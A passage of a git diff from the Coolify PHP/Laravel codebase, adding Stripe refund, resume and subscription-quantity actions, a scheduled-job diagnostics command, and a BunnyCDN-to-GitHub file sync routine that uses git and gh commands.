+ $daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart; + + if ($daysRemaining <= 0) { + return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd); + } + + return [ + 'eligible' => true, + 'days_remaining' => $daysRemaining, + 'reason' => 'Eligible for refund.', + 'current_period_end' => $currentPeriodEnd, + ]; + } + + /** + * Process a full refund and cancel the subscription. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $eligibility = $this->checkEligibility($team); + + if (! $eligibility['eligible']) { + return ['success' => false, 'error' => $eligibility['reason']]; + } + + $subscription = $team->subscription; + + try { + $invoices = $this->stripe->invoices->all([ + 'subscription' => $subscription->stripe_subscription_id, + 'status' => 'paid', + 'limit' => 1, + ]); + + if (empty($invoices->data)) { + return ['success' => false, 'error' => 'No paid invoice found to refund.']; + } + + $invoice = $invoices->data[0]; + $paymentIntentId = $invoice->payment_intent; + + if (! $paymentIntentId) { + return ['success' => false, 'error' => 'No payment intent found on the invoice.']; + } + + $this->stripe->refunds->create([ + 'payment_intent' => $paymentIntentId, + ]); + + // Record refund immediately so it cannot be retried if cancel fails + $subscription->update([ + 'stripe_refunded_at' => now(), + 'stripe_feedback' => 'Refund requested by user', + 'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(), + ]); + + try { + $this->stripe->subscriptions->cancel($subscription->stripe_subscription_id); + } catch (\Exception $e) { + \Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage()); + send_internal_notification( + "CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required." + ); + } + + $subscription->update([ + 'stripe_cancel_at_period_end' => false, + 'stripe_invoice_paid' => false, + 'stripe_trial_already_ended' => false, + 'stripe_past_due' => false, + ]); + + $team->subscriptionEnded(); + + \Log::info("Refunded and cancelled subscription {$subscription->stripe_subscription_id} for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe refund error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Refund error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } + + /** + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} + */ + private function ineligible(string $reason, ?int $currentPeriodEnd = null): array + { + return [ + 'eligible' => false, + 'days_remaining' => 0, + 'reason' => $reason, + 'current_period_end' => $currentPeriodEnd, + ]; + } +} diff --git a/app/Actions/Stripe/ResumeSubscription.php b/app/Actions/Stripe/ResumeSubscription.php new file mode 100644 index 000000000..d8019def7 --- /dev/null +++ b/app/Actions/Stripe/ResumeSubscription.php @@ -0,0 +1,56 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Resume a subscription that was set to cancel at the end of the billing period. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_cancel_at_period_end) { + return ['success' => false, 'error' => 'Subscription is not set to cancel.']; + } + + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'cancel_at_period_end' => false, + ]); + + $subscription->update([ + 'stripe_cancel_at_period_end' => false, + ]); + + \Log::info("Subscription {$subscription->stripe_subscription_id} resumed for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe resume subscription error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Resume subscription error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } +} diff --git a/app/Actions/Stripe/UpdateSubscriptionQuantity.php b/app/Actions/Stripe/UpdateSubscriptionQuantity.php new file mode 100644 index 000000000..a3eab4dca --- /dev/null +++ b/app/Actions/Stripe/UpdateSubscriptionQuantity.php @@ -0,0 +1,204 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Fetch a full price preview for a quantity change from Stripe. + * Returns both the prorated amount due now and the recurring cost for the next billing cycle. + * + * @return array{success: bool, error: string|null, preview: array{due_now: int, recurring_subtotal: int, recurring_tax: int, recurring_total: int, unit_price: int, tax_description: string|null, quantity: int, currency: string}|null} + */ + public function fetchPricePreview(Team $team, int $quantity): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id || ! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'No active subscription found.', 'preview' => null]; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item) { + return ['success' => false, 'error' => 'Could not retrieve subscription details.', 'preview' => null]; + } + + $currency = strtoupper($item->price->currency ?? 'usd'); + + // Upcoming invoice gives us the prorated amount due now + $upcomingInvoice = $this->stripe->invoices->upcoming([ + 'customer' => $subscription->stripe_customer_id, + 'subscription' => $subscription->stripe_subscription_id, + 'subscription_items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]); + + // Extract tax percentage — try total_tax_amounts first, fall back to invoice tax/subtotal + $taxPercentage = 0.0; + $taxDescription = null; + if (! empty($upcomingInvoice->total_tax_amounts)) { + $taxAmount = $upcomingInvoice->total_tax_amounts[0] ?? null; + if ($taxAmount?->tax_rate) { + $taxRate = $this->stripe->taxRates->retrieve($taxAmount->tax_rate); + $taxPercentage = (float) ($taxRate->percentage ?? 0); + $taxDescription = $taxRate->display_name.' ('.$taxRate->jurisdiction.') '.$taxRate->percentage.'%'; + } + } + // Fallback tax percentage from invoice totals - use tax_rate details when available for accuracy + if ($taxPercentage === 0.0 && ($upcomingInvoice->tax ?? 0) > 0 && ($upcomingInvoice->subtotal ?? 0) > 0) { + $taxPercentage = round(($upcomingInvoice->tax / $upcomingInvoice->subtotal) * 100, 2); + } + + // Recurring cost for next cycle — read from non-proration invoice lines + $recurringSubtotal = 0; + foreach ($upcomingInvoice->lines->data as $line) { + if (! $line->proration) { + $recurringSubtotal += $line->amount; + } + } + $unitPrice = $quantity > 0 ? (int) round($recurringSubtotal / $quantity) : 0; + + $recurringTax = $taxPercentage > 0 + ? (int) round($recurringSubtotal * $taxPercentage / 100) + : 0; + $recurringTotal = $recurringSubtotal + $recurringTax; + + // Due now = amount_due (accounts for customer balance/credits) minus recurring + $amountDue = $upcomingInvoice->amount_due ?? $upcomingInvoice->total ?? 0; + $dueNow = $amountDue - $recurringTotal; + + return [ + 'success' => true, + 'error' => null, + 'preview' => [ + 'due_now' => $dueNow, + 'recurring_subtotal' => $recurringSubtotal, + 'recurring_tax' => $recurringTax, + 'recurring_total' => $recurringTotal, + 'unit_price' => $unitPrice, + 'tax_description' => $taxDescription, + 'quantity' => $quantity, + 'currency' => $currency, + ], + ]; + } catch (\Exception $e) { + \Log::warning("Stripe fetch price preview error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Could not load price preview.', 'preview' => null]; + } + } + + /** + * Update the subscription quantity (server limit) for a team. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team, int $quantity): array + { + if ($quantity < self::MIN_SERVER_LIMIT) { + return ['success' => false, 'error' => 'Minimum server limit is '.self::MIN_SERVER_LIMIT.'.']; + } + + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'Subscription is not active.']; + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + $item = $stripeSubscription->items->data[0] ?? null; + + if (! $item?->id) { + return ['success' => false, 'error' => 'Could not find subscription item.']; + } + + $previousQuantity = $item->quantity ?? $team->custom_server_limit; + + $updatedSubscription = $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $quantity], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]); + + // Check if the proration invoice was paid + $latestInvoice = $updatedSubscription->latest_invoice; + if ($latestInvoice && $latestInvoice->status !== 'paid') { + \Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}."); + + // Revert subscription quantity on Stripe + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'items' => [ + ['id' => $item->id, 'quantity' => $previousQuantity], + ], + 'proration_behavior' => 'none', + ]); + } catch (\Exception $revertException) { + \Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage()); + send_internal_notification( + "CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required." + ); + } + + // Void the unpaid invoice + if ($latestInvoice->id) { + $this->stripe->invoices->voidInvoice($latestInvoice->id); + } + + return ['success' => false, 'error' => 'Payment failed. Your server limit was not changed. Please check your payment method and try again.']; + } + + $team->update([ + 'custom_server_limit' => $quantity, + ]); + + ServerLimitCheckJob::dispatch($team); + + \Log::info("Subscription {$subscription->stripe_subscription_id} quantity updated to {$quantity} for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe update quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Update subscription quantity error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } + + private function formatAmount(int $cents, string $currency): string + { + return strtoupper($currency) === 'USD' + ? '$'.number_format($cents / 100, 2) + : number_format($cents / 100, 2).' '.$currency; + } +} diff --git a/app/Console/Commands/CleanupUnreachableServers.php b/app/Console/Commands/CleanupUnreachableServers.php index def01b265..09563a2c3 100644 --- a/app/Console/Commands/CleanupUnreachableServers.php +++ b/app/Console/Commands/CleanupUnreachableServers.php @@ -14,7 +14,7 @@ class CleanupUnreachableServers extends Command public function handle() { echo "Running unreachable server cleanup...\n"; - $servers = Server::where('unreachable_count', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); + $servers = Server::where('unreachable_count', '>=', 3)->where('unreachable_notification_sent', true)->where('updated_at', '<', now()->subDays(7))->get(); if ($servers->count() > 0) { foreach ($servers as $server) { echo "Cleanup unreachable server ($server->id) with name $server->name"; diff --git a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php index e64f86926..46f6b4edd 100644 --- a/app/Console/Commands/Cloud/SyncStripeSubscriptions.php +++ b/app/Console/Commands/Cloud/SyncStripeSubscriptions.php @@ -36,7 +36,14 @@ public function handle(): int $this->newLine(); $job = new SyncStripeSubscriptionsJob($fix); - $result = $job->handle(); + $fetched = 0; + $result = $job->handle(function (int $count) use (&$fetched): void { + $fetched = $count; + $this->output->write("\r Fetching subscriptions from Stripe... {$fetched}"); + }); + if ($fetched > 0) { + $this->output->write("\r".str_repeat(' ', 60)."\r"); + } if (isset($result['error'])) { $this->error($result['error']); @@ -68,6 +75,19 @@ public function handle(): int $this->info('No discrepancies found. All subscriptions are in sync.'); } + if (count($result['resubscribed']) > 0) { + $this->newLine(); + $this->warn('Resubscribed users (same email, different customer): '.count($result['resubscribed'])); + $this->newLine(); + + foreach ($result['resubscribed'] as $resub) { + $this->line(" - Team ID: {$resub['team_id']} | Email: {$resub['email']}"); + $this->line(" Old: {$resub['old_stripe_subscription_id']} (cus: {$resub['old_stripe_customer_id']})"); + $this->line(" New: {$resub['new_stripe_subscription_id']} (cus: {$resub['new_stripe_customer_id']}) [{$resub['new_status']}]"); + $this->newLine(); + } + } + if (count($result['errors']) > 0) { $this->newLine(); $this->error('Errors encountered: '.count($result['errors'])); diff --git a/app/Console/Commands/Nightwatch.php b/app/Console/Commands/Nightwatch.php new file mode 100644 index 000000000..40fd86a81 --- /dev/null +++ b/app/Console/Commands/Nightwatch.php @@ -0,0 +1,22 @@ +info('Nightwatch is enabled on this server.'); + $this->call('nightwatch:agent'); + } + + exit(0); + } +} diff --git a/app/Console/Commands/ScheduledJobDiagnostics.php b/app/Console/Commands/ScheduledJobDiagnostics.php new file mode 100644 index 000000000..77881284c --- /dev/null +++ b/app/Console/Commands/ScheduledJobDiagnostics.php @@ -0,0 +1,255 @@ +option('type'); + $serverFilter = $this->option('server'); + + $this->outputHeartbeat(); + + if (in_array($type, ['all', 'docker-cleanup'])) { + $this->inspectDockerCleanups($serverFilter); + } + + if (in_array($type, ['all', 'backups'])) { + $this->inspectBackups(); + } + + if (in_array($type, ['all', 'tasks'])) { + $this->inspectTasks(); + } + + if (in_array($type, ['all', 'server-jobs'])) { + $this->inspectServerJobs($serverFilter); + } + + return self::SUCCESS; + } + + private function outputHeartbeat(): void + { + $heartbeat = Cache::get('scheduled-job-manager:heartbeat'); + if ($heartbeat) { + $age = Carbon::parse($heartbeat)->diffForHumans(); + $this->info("Scheduler heartbeat: {$heartbeat} ({$age})"); + } else { + $this->error('Scheduler heartbeat: MISSING — ScheduledJobManager may not be running'); + } + $this->newLine(); + } + + private function inspectDockerCleanups(?string $serverFilter): void + { + $this->info('=== Docker Cleanup Jobs ==='); + + $servers = $this->getServers($serverFilter); + + $rows = []; + foreach ($servers as $server) { + $frequency = data_get($server->settings, 'docker_cleanup_frequency', '0 * * * *'); + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $dedupKey = "docker-cleanup:{$server->id}"; + $cacheValue = Cache::get($dedupKey); + $timezone = data_get($server->settings, 'server_timezone', config('app.timezone')); + + if (validate_timezone($timezone) === false) { + $timezone = config('app.timezone'); + } + + $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey); + + $lastExecution = DockerCleanupExecution::where('server_id', $server->id) + ->latest() + ->first(); + + $rows[] = [ + $server->id, + $server->name, + $timezone, + $frequency, + $dedupKey, + $cacheValue ?? '', + $wouldFire ? 'YES' : 'no', + $lastExecution ? $lastExecution->status.' @ '.$lastExecution->created_at : 'never', + ]; + } + + $this->table( + ['ID', 'Server', 'TZ', 'Frequency', 'Dedup Key', 'Cache Value', 'Would Fire', 'Last Execution'], + $rows + ); + $this->newLine(); + } + + private function inspectBackups(): void + { + $this->info('=== Scheduled Backups ==='); + + $backups = ScheduledDatabaseBackup::with(['database']) + ->where('enabled', true) + ->get(); + + $rows = []; + foreach ($backups as $backup) { + $server = $backup->server(); + $frequency = $backup->frequency; + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $dedupKey = "scheduled-backup:{$backup->id}"; + $cacheValue = Cache::get($dedupKey); + $timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone'); + + if (validate_timezone($timezone) === false) { + $timezone = config('app.timezone'); + } + + $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey); + + $rows[] = [ + $backup->id, + $backup->database_type ?? 'unknown', + $server?->name ?? 'N/A', + $frequency, + $cacheValue ?? '', + $wouldFire ? 'YES' : 'no', + ]; + } + + $this->table( + ['Backup ID', 'DB Type', 'Server', 'Frequency', 'Cache Value', 'Would Fire'], + $rows + ); + $this->newLine(); + } + + private function inspectTasks(): void + { + $this->info('=== Scheduled Tasks ==='); + + $tasks = ScheduledTask::with(['service', 'application']) + ->where('enabled', true) + ->get(); + + $rows = []; + foreach ($tasks as $task) { + $server = $task->server(); + $frequency = $task->frequency; + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $dedupKey = "scheduled-task:{$task->id}"; + $cacheValue = Cache::get($dedupKey); + $timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone'); + + if (validate_timezone($timezone) === false) { + $timezone = config('app.timezone'); + } + + $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey); + + $rows[] = [ + $task->id, + $task->name, + $server?->name ?? 'N/A', + $frequency, + $cacheValue ?? '', + $wouldFire ? 'YES' : 'no', + ]; + } + + $this->table( + ['Task ID', 'Name', 'Server', 'Frequency', 'Cache Value', 'Would Fire'], + $rows + ); + $this->newLine(); + } + + private function inspectServerJobs(?string $serverFilter): void + { + $this->info('=== Server Manager Jobs ==='); + + $servers = $this->getServers($serverFilter); + + $rows = []; + foreach ($servers as $server) { + $timezone = data_get($server->settings, 'server_timezone', config('app.timezone')); + if (validate_timezone($timezone) === false) { + $timezone = config('app.timezone'); + } + + $dedupKeys = [ + "sentinel-restart:{$server->id}" => '0 0 * * *', + "server-patch-check:{$server->id}" => '0 0 * * 0', + "server-check:{$server->id}" => isCloud() ? '*/5 * * * *' : '* * * * *', + "server-storage-check:{$server->id}" => data_get($server->settings, 'server_disk_usage_check_frequency', '0 23 * * *'), + ]; + + foreach ($dedupKeys as $dedupKey => $frequency) { + if (isset(VALID_CRON_STRINGS[$frequency])) { + $frequency = VALID_CRON_STRINGS[$frequency]; + } + + $cacheValue = Cache::get($dedupKey); + $wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey); + + $rows[] = [ + $server->id, + $server->name, + $dedupKey, + $frequency, + $cacheValue ?? '', + $wouldFire ? 'YES' : 'no', + ]; + } + } + + $this->table( + ['Server ID', 'Server', 'Dedup Key', 'Frequency', 'Cache Value', 'Would Fire'], + $rows + ); + $this->newLine(); + } + + private function getServers(?string $serverFilter): \Illuminate\Support\Collection + { + $query = Server::with('settings')->where('ip', '!=', '1.2.3.4'); + + if ($serverFilter) { + $query->where('id', $serverFilter); + } + + if (isCloud()) { + $servers = $query->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get(); + $own = Team::find(0)?->servers()->with('settings')->get() ?? collect(); + + return $servers->merge($own); + } + + return $query->get(); + } +} diff --git a/app/Console/Commands/SyncBunny.php b/app/Console/Commands/SyncBunny.php index 0a98f1dc8..9ac3371e0 100644 --- a/app/Console/Commands/SyncBunny.php +++ b/app/Console/Commands/SyncBunny.php @@ -363,6 +363,162 @@ private function syncReleasesAndVersionsToGitHubRepo(string $versionsLocation, b } } + /** + * Sync install.sh, docker-compose, and env files to GitHub repository via PR + */ + private function syncFilesToGitHubRepo(array $files, bool $nightly = false): bool + { + $envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION'; + $this->info("Syncing $envLabel files to GitHub repository..."); + try { + $timestamp = time(); + $tmpDir = sys_get_temp_dir().'/coolify-cdn-files-'.$timestamp; + $branchName = 'update-files-'.$timestamp; + + // Clone the repository + $this->info('Cloning coolify-cdn repository...'); + $output = []; + exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg($tmpDir).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to clone repository: '.implode("\n", $output)); + + return false; + } + + // Create feature branch + $this->info('Creating feature branch...'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git checkout -b '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to create branch: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // Copy each file to its target path in the CDN repo + $copiedFiles = []; + foreach ($files as $sourceFile => $targetPath) { + if (! file_exists($sourceFile)) { + $this->warn("Source file not found, skipping: $sourceFile"); + + continue; + } + + $destPath = "$tmpDir/$targetPath"; + $destDir = dirname($destPath); + + if (! is_dir($destDir)) { + if (! mkdir($destDir, 0755, true)) { + $this->error("Failed to create directory: $destDir"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + } + + if (copy($sourceFile, $destPath) === false) { + $this->error("Failed to copy $sourceFile to $destPath"); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + $copiedFiles[] = $targetPath; + $this->info("Copied: $targetPath"); + } + + if (empty($copiedFiles)) { + $this->warn('No files were copied. Nothing to commit.'); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return true; + } + + // Stage all copied files + $this->info('Staging changes...'); + $output = []; + $stageCmd = 'cd '.escapeshellarg($tmpDir).' && git add '.implode(' ', array_map('escapeshellarg', $copiedFiles)).' 2>&1'; + exec($stageCmd, $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to stage changes: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // Check for changes + $this->info('Checking for changes...'); + $statusOutput = []; + exec('cd '.escapeshellarg($tmpDir).' && git status --porcelain 2>&1', $statusOutput, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to check repository status: '.implode("\n", $statusOutput)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + if (empty(array_filter($statusOutput))) { + $this->info('All files are already up to date. No changes to commit.'); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return true; + } + + // Commit changes + $commitMessage = "Update $envLabel files (install.sh, docker-compose, env) - ".date('Y-m-d H:i:s'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git commit -m '.escapeshellarg($commitMessage).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to commit changes: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // Push to remote + $this->info('Pushing branch to remote...'); + $output = []; + exec('cd '.escapeshellarg($tmpDir).' && git push origin '.escapeshellarg($branchName).' 2>&1', $output, $returnCode); + if ($returnCode !== 0) { + $this->error('Failed to push branch: '.implode("\n", $output)); + exec('rm -rf '.escapeshellarg($tmpDir)); + + return false; + } + + // Create pull request + $this->info('Creating pull request...'); + $prTitle = "Update $envLabel files - ".date('Y-m-d H:i:s'); + $fileList = implode("\n- ", $copiedFiles); + $prBody = "Automated update of $envLabel files:\n- $fileList"; + $prCommand = 'gh pr create --repo coollabsio/coolify-cdn --title '.escapeshellarg($prTitle).' --body '.escapeshellarg($prBody).' --base main --head '.escapeshellarg($branchName).' 2>&1'; + $output = []; + exec($prCommand, $output, $returnCode); + + // Clean up + exec('rm -rf '.escapeshellarg($tmpDir)); + + if ($returnCode !== 0) { + $this->error('Failed to create PR: '.implode("\n", $output)); + + return false; + } + + $this->info('Pull request created successfully!'); + if (! empty($output)) { + $this->info('PR URL: '.implode("\n", $output)); + } + $this->info('Files synced: '.count($copiedFiles)); + + return true; + } catch (\Throwable $e) { + $this->error('Error syncing files to GitHub: '.$e->getMessage()); + + return false; + } + } + /** * Sync versions.json to GitHub repository via PR */ @@ -581,11 +737,130 @@ public function handle() $versions_location = "$parent_dir/other/nightly/$versions"; } if (! $only_template && ! $only_version && ! $only_github_releases && ! $only_github_versions) { + $envLabel = $nightly ? 'NIGHTLY' : 'PRODUCTION'; + $this->info("About to sync $envLabel files to BunnyCDN and create a GitHub PR for coolify-cdn."); + $this->newLine(); + + // Build file mapping for diff if ($nightly) { - $this->info('About to sync files NIGHTLY (docker-compose.prod.yaml, upgrade.sh, install.sh, etc) to BunnyCDN.'); + $fileMapping = [ + $compose_file_location => 'docker/nightly/docker-compose.yml', + $compose_file_prod_location => 'docker/nightly/docker-compose.prod.yml', + $production_env_location => 'environment/nightly/.env.production', + $upgrade_script_location => 'scripts/nightly/upgrade.sh', + $install_script_location => 'scripts/nightly/install.sh', + ]; } else { - $this->info('About to sync files PRODUCTION (docker-compose.yml, docker-compose.prod.yml, upgrade.sh, install.sh, etc) to BunnyCDN.'); + $fileMapping = [ + $compose_file_location => 'docker/docker-compose.yml', + $compose_file_prod_location => 'docker/docker-compose.prod.yml', + $production_env_location => 'environment/.env.production', + $upgrade_script_location => 'scripts/upgrade.sh', + $install_script_location => 'scripts/install.sh', + ]; } + + // BunnyCDN file mapping (local file => CDN URL path) + $bunnyFileMapping = [ + $compose_file_location => "$bunny_cdn/$bunny_cdn_path/$compose_file", + $compose_file_prod_location => "$bunny_cdn/$bunny_cdn_path/$compose_file_prod", + $production_env_location => "$bunny_cdn/$bunny_cdn_path/$production_env", + $upgrade_script_location => "$bunny_cdn/$bunny_cdn_path/$upgrade_script", + $install_script_location => "$bunny_cdn/$bunny_cdn_path/$install_script", + ]; + + $diffTmpDir = sys_get_temp_dir().'/coolify-cdn-diff-'.time(); + @mkdir($diffTmpDir, 0755, true); + $hasChanges = false; + + // Diff against BunnyCDN + $this->info('Fetching files from BunnyCDN to compare...'); + foreach ($bunnyFileMapping as $localFile => $cdnUrl) { + if (! file_exists($localFile)) { + $this->warn('Local file not found: '.$localFile); + + continue; + } + + $fileName = basename($cdnUrl); + $remoteTmp = "$diffTmpDir/bunny-$fileName"; + + try { + $response = Http::timeout(10)->get($cdnUrl); + if ($response->successful()) { + file_put_contents($remoteTmp, $response->body()); + $diffOutput = []; + exec('diff -u '.escapeshellarg($remoteTmp).' '.escapeshellarg($localFile).' 2>&1', $diffOutput, $diffCode); + if ($diffCode !== 0) { + $hasChanges = true; + $this->newLine(); + $this->info("--- BunnyCDN: $bunny_cdn_path/$fileName"); + $this->info("+++ Local: $fileName"); + foreach ($diffOutput as $line) { + if (str_starts_with($line, '---') || str_starts_with($line, '+++')) { + continue; + } + $this->line($line); + } + } + } else { + $this->info("NEW on BunnyCDN: $bunny_cdn_path/$fileName (HTTP {$response->status()})"); + $hasChanges = true; + } + } catch (\Throwable $e) { + $this->warn("Could not fetch $cdnUrl: {$e->getMessage()}"); + } + } + + // Diff against GitHub coolify-cdn repo + $this->newLine(); + $this->info('Fetching coolify-cdn repo to compare...'); + $output = []; + exec('gh repo clone coollabsio/coolify-cdn '.escapeshellarg("$diffTmpDir/repo").' -- --depth 1 2>&1', $output, $returnCode); + + if ($returnCode === 0) { + foreach ($fileMapping as $localFile => $cdnPath) { + $remotePath = "$diffTmpDir/repo/$cdnPath"; + if (! file_exists($localFile)) { + continue; + } + if (! file_exists($remotePath)) { + $this->info("NEW on GitHub: $cdnPath (does not exist in coolify-cdn yet)"); + $hasChanges = true; + + continue; + } + + $diffOutput = []; + exec('diff -u '.escapeshellarg($remotePath).' '.escapeshellarg($localFile).' 2>&1', $diffOutput, $diffCode); + if ($diffCode !== 0) { + $hasChanges = true; + $this->newLine(); + $this->info("--- GitHub: $cdnPath"); + $this->info("+++ Local: $cdnPath"); + foreach ($diffOutput as $line) { + if (str_starts_with($line, '---') || str_starts_with($line, '+++')) { + continue; + } + $this->line($line); + } + } + } + } else { + $this->warn('Could not fetch coolify-cdn repo for diff.'); + } + + exec('rm -rf '.escapeshellarg($diffTmpDir)); + + if (! $hasChanges) { + $this->newLine(); + $this->info('No differences found. All files are already up to date.'); + + return; + } + + $this->newLine(); + $confirmed = confirm('Are you sure you want to sync?'); if (! $confirmed) { return; @@ -692,7 +967,34 @@ public function handle() $pool->purge("$bunny_cdn/$bunny_cdn_path/$upgrade_script"), $pool->purge("$bunny_cdn/$bunny_cdn_path/$install_script"), ]); - $this->info('All files uploaded & purged...'); + $this->info('All files uploaded & purged to BunnyCDN.'); + $this->newLine(); + + // Sync files to GitHub CDN repository via PR + $this->info('Creating GitHub PR for coolify-cdn repository...'); + if ($nightly) { + $files = [ + $compose_file_location => 'docker/nightly/docker-compose.yml', + $compose_file_prod_location => 'docker/nightly/docker-compose.prod.yml', + $production_env_location => 'environment/nightly/.env.production', + $upgrade_script_location => 'scripts/nightly/upgrade.sh', + $install_script_location => 'scripts/nightly/install.sh', + ]; + } else { + $files = [ + $compose_file_location => 'docker/docker-compose.yml', + $compose_file_prod_location => 'docker/docker-compose.prod.yml', + $production_env_location => 'environment/.env.production', + $upgrade_script_location => 'scripts/upgrade.sh', + $install_script_location => 'scripts/install.sh', + ]; + } + + $githubSuccess = $this->syncFilesToGitHubRepo($files, $nightly); + $this->newLine(); + $this->info('=== Summary ==='); + $this->info('BunnyCDN sync: Complete'); + $this->info('GitHub PR: '.($githubSuccess ? 'Created' : 'Failed')); } catch (\Throwable $e) { $this->error('Error: '.$e->getMessage()); } diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index d82d3a1b9..c5e12b7ee 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -40,7 +40,7 @@ protected function schedule(Schedule $schedule): void } // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly(); - $this->scheduleInstance->command('cleanup:redis')->weekly(); + $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); if (isDev()) { // Instance Jobs diff --git a/app/Data/CoolifyTaskArgs.php b/app/Data/CoolifyTaskArgs.php deleted file mode 100644 index 24132157a..000000000 --- a/app/Data/CoolifyTaskArgs.php +++ /dev/null @@ -1,30 +0,0 @@ -status = ProcessStatus::QUEUED->value; - } - } -} diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index 723c6d4a5..aa9d06996 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -8,6 +8,7 @@ use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Log; use Illuminate\Support\Facades\Process; +use Illuminate\Support\Facades\Storage; class SshMultiplexingHelper { @@ -37,7 +38,7 @@ public static function ensureMultiplexedConnection(Server $server): bool if (data_get($server, 'settings.is_cloudflare_tunnel')) { $checkCommand .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - 